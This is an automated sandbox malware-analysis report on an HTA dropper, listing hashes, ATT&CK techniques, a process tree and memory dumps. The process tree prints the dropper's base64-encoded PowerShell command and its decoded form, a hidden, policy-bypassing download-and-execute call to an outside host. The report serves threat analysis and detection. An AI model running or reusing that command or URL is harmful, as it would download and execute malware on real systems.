aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9

Resubmissions

07-01-2025 03:19

250107-dt8tqs1rc1 10

07-01-2025 03:10

250107-dpd4ka1pdv 10

07-01-2025 03:09

250107-dnmz3stlcp 10

07-01-2025 02:39

250107-c5hk9asmbl 10

Analysis

max time kernel
20s
max time network
7s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
07-01-2025 03:19

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General

Target

aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta
Size

1.6MB
MD5

dbf37b54acb5e3b86a3dc93ec3b7dc24
SHA1

65100e3e23406a9f92880e202e4b006fd39f33d6
SHA256

aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9
SHA512

0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9
SSDEEP

24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://klipdiheqoe.shop/ruwkl.png

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2140	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2140	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4624	powershell.exe
4624	powershell.exe
2140	powershell.exe
2140	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 4624	1408	mshta.exe	78
PID 1408 wrote to memory of 4624	1408	mshta.exe	78
PID 1408 wrote to memory of 4624	1408	mshta.exe	78
PID 4624 wrote to memory of 2140	4624	powershell.exe	80
PID 4624 wrote to memory of 2140	4624	powershell.exe	80
PID 4624 wrote to memory of 2140	4624	powershell.exe	80

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
e080d58e6387c9fd87434a502e1a902e

SHA1
ae76ce6a2a39d79226c343cfe4745d48c7c1a91a

SHA256
6fc482e46f6843f31d770708aa936de4cc32fec8141154f325438994380ff425

SHA512
6c112200ef09e724f2b8ab7689a629a09d74db2dcb4dd83157dd048cbe74a7ce5d139188257efc79a137ffebde0e3b61e0e147df789508675fedfd11fcad9ede

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
f8b2b89495b7eda5980089981b5801f5

SHA1
70791d6064b4f7c5ac63e483f733c49848c013ce

SHA256
659e44ace1f0550083819febfac875112e2cd6244f5e16c491df31a27bf324d0

SHA512
49fa42c45c7239115d974e5c019cac9ad998e5947e5cdc2a250cf853cf9dae63625f0ab45d0f15c31508205a5f816cc1f8f21b53ccb8dc63c8b89e0b4a21a8c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_stilrj51.t5m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2140-37-0x0000000007520000-0x0000000007B9A000-memory.dmp

Filesize
6.5MB

Download
memory/2140-27-0x00000000057A0000-0x0000000005AF7000-memory.dmp

Filesize
3.3MB

Download
memory/4624-17-0x0000000005C00000-0x0000000005C1E000-memory.dmp

Filesize
120KB

Download
memory/4624-20-0x00000000060F0000-0x000000000610A000-memory.dmp

Filesize
104KB

Download
memory/4624-7-0x00000000056F0000-0x0000000005756000-memory.dmp

Filesize
408KB

Download
memory/4624-5-0x0000000004D50000-0x0000000004D72000-memory.dmp

Filesize
136KB

Download
memory/4624-16-0x0000000005760000-0x0000000005AB7000-memory.dmp

Filesize
3.3MB

Download
memory/4624-0-0x0000000074EEE000-0x0000000074EEF000-memory.dmp

Filesize
4KB

Download
memory/4624-18-0x0000000005C50000-0x0000000005C9C000-memory.dmp

Filesize
304KB

Download
memory/4624-6-0x0000000005680000-0x00000000056E6000-memory.dmp

Filesize
408KB

Download
memory/4624-19-0x0000000006BD0000-0x0000000006C66000-memory.dmp

Filesize
600KB

Download
memory/4624-21-0x0000000006170000-0x0000000006192000-memory.dmp

Filesize
136KB

Download
memory/4624-22-0x0000000007220000-0x00000000077C6000-memory.dmp

Filesize
5.6MB

Download
memory/4624-26-0x0000000074EE0000-0x0000000075691000-memory.dmp

Filesize
7.7MB

Download
memory/4624-4-0x0000000074EE0000-0x0000000075691000-memory.dmp

Filesize
7.7MB

Download
memory/4624-3-0x0000000004EE0000-0x000000000550A000-memory.dmp

Filesize
6.2MB

Download
memory/4624-2-0x0000000074EE0000-0x0000000075691000-memory.dmp

Filesize
7.7MB

Download
memory/4624-1-0x0000000004750000-0x0000000004786000-memory.dmp

Filesize
216KB

Download